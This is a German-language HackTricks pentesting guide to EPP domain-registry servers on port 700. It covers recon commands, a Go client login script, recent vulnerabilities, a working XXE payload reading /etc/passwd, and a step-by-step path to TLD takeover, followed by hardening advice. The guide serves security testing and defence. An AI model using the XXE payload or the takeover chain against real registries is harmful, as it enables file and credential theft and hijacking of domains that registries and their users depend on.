700 - Pentesting EPP
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Das Extensible Provisioning Protocol (EPP) ist ein Netzwerkprotokoll, das für die Verwaltung von Domainnamen und anderen Internetressourcen durch Domain-Registrierungsstellen und Registrare verwendet wird. Es ermöglicht die Automatisierung von Prozessen zur Registrierung, Erneuerung, Übertragung und Löschung von Domainnamen und gewährleistet einen standardisierten und sicheren Kommunikationsrahmen zwischen verschiedenen Entitäten im Domain Name System (DNS). EPP ist so konzipiert, dass es flexibel und erweiterbar ist, sodass neue Funktionen und Befehle hinzugefügt werden können, während sich die Bedürfnisse der Internetinfrastruktur weiterentwickeln.
Im Grunde genommen ist es eines der Protokolle, die ein TLD-Registrar den Domain-Registraren anbieten wird, um neue Domains in der TLD zu registrieren.
Pentest
In diesem sehr interessanten Artikel können Sie sehen, wie einige Sicherheitsforscher herausfanden, dass mehrere Implementierungen dieses Protokolls anfällig für XXE (XML External Entity) waren, da dieses Protokoll XML zur Kommunikation verwendet, was Angreifern ermöglicht hätte, Dutzende verschiedener TLDs zu übernehmen.
Enumeration & Recon
EPP-Server hören fast immer auf TCP 700/tcp
über TLS. Eine typische Bereitstellung erzwingt auch mutual-TLS (mTLS), sodass der Client ein gültiges Zertifikat vorlegen muss, das von der Registry-CA ausgestellt wurde. Dennoch vergessen viele private Test- oder Vorproduktionsbereitstellungen diese Kontrolle:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
Wenn der Server die Verbindung nach dem TLS-Handshake nicht beendet, können Sie versuchen, eine nicht authentifizierte <hello/>
-Nachricht zu senden:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Open-Source-Clients, die für Tests nützlich sind
- epp-client (Go) – aktiv gewartet, unterstützt TCP/TLS und EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – minimale Client-Bibliothek, die leicht für Fuzzing oder Nuclei-Style-Workflows instrumentiert werden kann.
- afq984/php-epp-client – PHP-Implementierung, die von vielen kleinen Registraren verwendet wird; ein praktisches Ziel für Code-Reviews.
Beispiel für ein minimales Login+Check-Skript mit Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Häufige Schwächen & 2023-2025 Schwachstellen
Jahr | Komponente | CWE | Auswirkung |
---|---|---|---|
2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Fernzugriff auf Dateien & SSRF über gestaltete <epp> Nutzlast (Patch: 2023-11-02) |
2024 | FRED EPP Server 2.x | CWE-322 Unzureichende TLS-Zertifikatsvalidierung | Umgehung von mTLS erlaubte unbefugte Registrar-Anmeldung |
2025 | Proprietäres Registrar-Panel | CWE-306 Fehlende Authentifizierung für kritische Funktion | Endpunkt zur Genehmigung von Domainübertragungen über EPP-HTTP-Brücke exponiert |
XXE / SSRF Nutzlast (funktioniert gegen viele Java/Spring Implementierungen)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Wenn der Parser falsch konfiguriert ist (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
), wird der Dateinhalt innerhalb der <resData>
-Struktur zurückgegeben.
Weitere typische Erkenntnisse
- Schwache Passwortpolitik – EPP-Login-Passphrasen kürzer als 8 Zeichen; Brute-Force ist oft machbar, da die Spezifikation nur eine Ratenbegrenzung EMPFIEHLT (nicht vorschreibt).
- Fehlender
registryLock
/serverUpdateProhibited
-Status – Nach der Authentifizierung können Angreifer sofort NS-Einträge aktualisieren und Traffic stehlen. - Unsignierte Poll-Nachrichten – Einige Implementierungen signieren immer noch keine Poll-Q&A-Nachrichten, was Spoofing/Phishing von Registrar-Betreibern ermöglicht.
Angriffsweg: Vom Nullpunkt zur TLD-Übernahme
- Entdecken Sie einen EPP-Endpunkt (oft hinter einem generischen Host wie
ot&e.<tld>.nic.<cc>
versteckt). - Missbrauchen Sie eine der oben genannten Schwächen, um Anmeldeinformationen auf Registrar-Ebene zu erlangen (XXE → SSRF zu IMDSv1, Credential-Exfiltration oder TLS-Umgehung).
- Stellen Sie
<update>
-Anfragen, um diehostObj
-Einträge der Domain auf von Angreifern kontrollierte Nameserver zu ändern. - (Optional) Reichen Sie einen
<transfer>
ein, um die Domain zu einem von Angreifern kontrollierten Registrar zu verschieben – viele Registries verlassen sich immer noch auf einen einzigen Auth-Code. - Profit: vollständige Kontrolle über die DNS-Zone, Möglichkeit, TLS-Zertifikate über ACME anzufordern.
Verteidigungsmaßnahmen & Härtung
- Erzwingen Sie mTLS mit pro-Registrar-Client-Zertifikaten und pinnen Sie die Registry-CA.
- Setzen Sie
parserFeature secure-processing=true
oder Äquivalentes, um XXE zu verhindern. - Führen Sie kontinuierliches Fuzzing des XML-Parsers durch (z. B. mit
go-fuzz
oderjazzer
für Java). - Implementieren Sie Registry Lock / server*Prohibited-Status für wertvolle Domains.
- Überwachen Sie die
poll
-Warteschlange auf verdächtige<transfer>
- oder<update>
-Befehle und alarmieren Sie in Echtzeit. - Die ICANN 2024 DNS-Missbrauchsvertragsänderungen erfordern von Registries, Ratenbegrenzungs- und Authentifizierungskontrollen nachzuweisen – nutzen Sie diese.
Referenzen
- ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Konsequenzen des Versagens des Registry-Betreibers bei der Implementierung von EPP-Sicherheitskontrollen". 2024.
- HackCompute – "Hacking EPP-Server: Missbrauch von XXE zur Übernahme von TLDs" (2023).
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.